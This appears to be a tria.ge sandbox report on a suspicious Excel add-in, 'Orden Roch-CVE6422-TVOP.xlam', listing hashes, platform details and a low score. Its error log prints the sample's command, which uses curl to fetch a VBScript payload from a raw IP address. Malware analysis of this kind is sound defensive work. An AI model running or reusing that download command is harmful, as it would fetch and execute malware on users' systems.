Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

1

Static

static

1

Orden Roch...P.xlam

windows10-2004-x64

Resubmissions

10/10/2023, 21:45

231010-1mh13afd59 1

10/10/2023, 21:40

231010-1jgc3afa44 1

10/10/2023, 21:35

231010-1fpv2ace8y 10

10/10/2023, 17:50

231010-wezlmafb9s 1

Analysis

  • max time kernel
    15s
  • max time network
    31s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/10/2023, 21:45

Sharing

Copy URL
Twitter E-mail

Errors

Reason
platform exec: image=C:\Users\Admin\AppData\Local\Temp\Orden Roch-CVE6422-TVOP.xlam command="C:\Users\Admin\AppData\Local\Temp\Orden Roch-CVE6422-TVOP.xlam" curl ttp://79.110.48.52/ngtow.vbs wdir=C:\Users\Admin\AppData\Local\Temp Payload error: %1 is not a valid Win32 application.
Report Analysis Logs

General

  • Target

    Orden Roch-CVE6422-TVOP.xlam

  • Size

    666KB

  • MD5

    5edda4e170c74a69835e8bd822c51803

  • SHA1

    daf25f4e5eff37fe7677ce3139b0042a3ec5e236

  • SHA256

    0b8fa64ce20b4cedd71c6e36261052f0ac8948ea296c6ada5791c90d563c7e6a

  • SHA512

    b254db2d0d3c23490334df11c368d3bf6c8b4647bd1c4ea5e413bef5e8d9e6aa6cb2b936bb59b85b3767d9630fed389edc30ed2b5bfc13402b22b6f0a1587fe8

  • SSDEEP

    12288:WTaUMotvoZmtEEPnBu4fYbHI4LXP+FEXpH1YUyKgOm9oQbvs6:/UNEsnBu4fgIm+FiVYUyKgl9oQTN

Score
1/10

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads